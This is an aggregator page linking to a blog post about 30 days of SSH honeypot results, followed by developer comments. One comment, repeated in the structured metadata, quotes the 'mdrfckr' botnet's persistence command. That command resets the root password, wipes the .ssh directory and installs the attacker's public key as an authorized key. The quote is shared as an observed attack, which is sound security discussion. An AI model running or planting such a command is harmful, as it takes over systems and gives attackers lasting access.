<!-- mobian-agent-page publisher="dailydev" canonical="https://daily.dev/posts/what-you-get-after-running-an-ssh-honeypot-for-30-days-uaeq6agxq" -->

---
title: What You Get After Running an SSH Honeypot for 30 Days
description: This post discusses the results of running an SSH honeypot for 30 days, including the number of login attempts and information about the attackers' tactics.
canonical: https://daily.dev/posts/what-you-get-after-running-an-ssh-honeypot-for-30-days-uaeq6agxq
twitter:card: summary_large_image
twitter:site: @dailydotdev
og:type: website
og:site_name: daily.dev
og:title: What You Get After Running an SSH Honeypot for 30 Days | daily.dev
og:description: This post discusses the results of running an SSH honeypot for 30 days, including the number of login attempts and information about the attackers' tactics.
og:url: https://daily.dev/posts/what-you-get-after-running-an-ssh-honeypot-for-30-days-uaeq6agxq
og:image: https://api.daily.dev/og/posts/UAEQ6AGxQ.png
og:image:alt: What You Get After Running an SSH Honeypot for 30 Days
og:image:width: 1200
og:image:height: 630
og:locale: en
---

> ## Documentation Index
> Fetch the complete documentation index at: https://daily.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# What You Get After Running an SSH Honeypot for 30 Days

**[Hacker News](https://daily.dev/sources/hn)** · 4 min read · 122 upvotes · 3 comments

## Summary

This post discusses the results of running an SSH honeypot for 30 days, including the number of login attempts and information about the attackers' tactics.

## Full article

daily.dev links to this article rather than hosting it. Read it at the original source: <https://blog.sofiane.cc/ssh_honeypot/>

## Community discussion

Top comments from developers on daily.dev.

**@simihailo** · 1 upvotes

> I actually have had encountered the "mdfckr" miner attack when we (stupidly) booted a personal server and forgot to change the lame password we put in the beginning. When I was pulling some logs and stats, I noticed the foreign ssh key and the cron job. Fortunately we isolated it and it did not access anything else on the local network. Lesson learned😁.

**@ghost** · 1 upvotes

> The mdfckr bit had sounded vaguely familiar. I ended up finding a [reddit post from a few years back](https://www.reddit.com/r/masterhacker/comments/jweero/i_got_hacked_by_a_real_mdrfckr/) that had also mentioned this.
>
> From the post:
> > It looks like they will add their ssh key to have access to the system later..
> `echo "root:ZhEVRp3rV2wy"|chpasswd|bashcd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa...

**@h2onock** · 0 upvotes

> This is great. How did they successfully login, did they just dictionary attack a username/password combo or...?

---

Tags: [#cyber](https://daily.dev/tags/cyber), [#ssh](https://daily.dev/tags/ssh)

[View this post on daily.dev](https://daily.dev/posts/what-you-get-after-running-an-ssh-honeypot-for-30-days-uaeq6agxq)

```json
{"@context":"https://schema.org","@graph":[{"@type":"Organization","@id":"https://daily.dev/#organization","name":"daily.dev","url":"https://daily.dev","logo":{"@type":"ImageObject","url":"https://daily.dev/apple-touch-icon.png","width":180,"height":180},"sameAs":["https://twitter.com/dailydotdev","https://github.com/dailydotdev","https://www.linkedin.com/company/daily-dev-ltd"]},{"@type":"WebSite","@id":"https://daily.dev/#website","url":"https://daily.dev","name":"daily.dev","publisher":{"@id":"https://daily.dev/#organization"},"potentialAction":{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://daily.dev/search?q={search_term_string}"},"query-input":"required name=search_term_string"}}]}
{"@context":"https://schema.org","@type":"TechArticle","headline":"What You Get After Running an SSH Honeypot for 30 Days","url":"https://daily.dev/posts/what-you-get-after-running-an-ssh-honeypot-for-30-days-uaeq6agxq","mainEntityOfPage":{"@type":"WebPage","@id":"https://daily.dev/posts/what-you-get-after-running-an-ssh-honeypot-for-30-days-uaeq6agxq"},"datePublished":"2024-06-16T07:13:42.370Z","dateModified":"2024-08-23T14:46:21.901Z","description":"This post discusses the results of running an SSH honeypot for 30 days, including the number of login attempts and information about the attackers' tactics.","image":"https://media.daily.dev/image/upload/f_auto,q_auto/v1/posts/d4aa359b9b17197be50976de447edd0a?_a=AQAEuiZ","thumbnailUrl":"https://media.daily.dev/image/upload/f_auto,q_auto/v1/posts/d4aa359b9b17197be50976de447edd0a?_a=AQAEuiZ","isAccessibleForFree":true,"articleSection":"Hacker News","inLanguage":"en","publisher":{"@type":"Organization","name":"daily.dev","url":"https://daily.dev","logo":{"@type":"ImageObject","url":"https://daily.dev/apple-touch-icon.png","width":180,"height":180}},"author":{"@type":"Organization","name":"Hacker News","logo":"https://media.daily.dev/image/upload/t_logo,f_auto/v1/logos/hn","url":"https://daily.dev/sources/hn"},"commentCount":3,"discussionUrl":"https://daily.dev/posts/what-you-get-after-running-an-ssh-honeypot-for-30-days-uaeq6agxq","interactionStatistic":[{"@type":"InteractionCounter","interactionType":{"@type":"LikeAction"},"userInteractionCount":122},{"@type":"InteractionCounter","interactionType":{"@type":"CommentAction"},"userInteractionCount":3}],"keywords":"cyber,ssh","timeRequired":"PT4M"}
{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://daily.dev"},{"@type":"ListItem","position":2,"name":"Hacker News","item":"https://daily.dev/sources/hn"},{"@type":"ListItem","position":3,"name":"What You Get After Running an SSH Honeypot for 30 Days"}]}
{"@context":"https://schema.org","@type":"WebPage","@id":"https://daily.dev/posts/what-you-get-after-running-an-ssh-honeypot-for-30-days-uaeq6agxq","comment":[{"@type":"Comment","text":"I actually have had encountered the “mdfckr” miner attack when we (stupidly) booted a personal server and forgot to change the lame password we put in the beginning. When I was pulling some logs and stats, I noticed the foreign ssh key and the cron job. Fortunately we isolated it and it did not access anything else on the local network. Lesson learned😁.","datePublished":"2024-08-05T10:20:40.695Z","url":"https://daily.dev/posts/UAEQ6AGxQ#c-HbNwLH6JI","author":{"@type":"Person","name":"Simihailo","url":"https://daily.dev/simihailo","image":"https://media.daily.dev/image/upload/s--r4fTjL92--/f_auto/v1722853867/avatars/avatar_UAmGnq53QGvHl7l7mFvWj"},"interactionStatistic":{"@type":"InteractionCounter","interactionType":{"@type":"LikeAction"},"userInteractionCount":1}},{"@type":"Comment","text":"The mdfckr bit had sounded vaguely familiar. I ended up finding a reddit post from a few years back that had also mentioned this.\nFrom the post:\n\nIt looks like they will add their ssh key to have access to the system later…\necho &quot;root:ZhEVRp3rV2wy&quot;|chpasswd|bashcd ~ &amp;&amp; rm -rf .ssh &amp;&amp; mkdir .ssh &amp;&amp; echo &quot;ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr&quot;&gt;&gt;.ssh/authorized_keys &amp;&amp; chmod -R go= ~/.ssh &amp;&amp; cd ~ \n\nInteresting to see small changes, but most of ssh lockout attempt remaining mostly unchanged.","datePublished":"2024-08-31T18:26:06.145Z","dateModified":"2024-08-31T18:27:38.470Z","url":"https://daily.dev/posts/UAEQ6AGxQ#c-B35NYVZY9","author":{"@type":"Person","name":"Deleted user","url":"https://daily.dev/ghost","image":"https://media.daily.dev/image/upload/s--hNIUzLiO--/f_auto/v1705327420/public/ghost_vlftth"},"interactionStatistic":{"@type":"InteractionCounter","interactionType":{"@type":"LikeAction"},"userInteractionCount":1}},{"@type":"Comment","text":"This is great. How did they successfully login, did they just dictionary attack a username/password combo or…?","datePublished":"2024-07-01T08:34:18.805Z","url":"https://daily.dev/posts/UAEQ6AGxQ#c-LjAx4RyLz","author":{"@type":"Person","name":"James","url":"https://daily.dev/h2onock","image":"https://avatars.githubusercontent.com/u/9485980?v=4"}}]}
```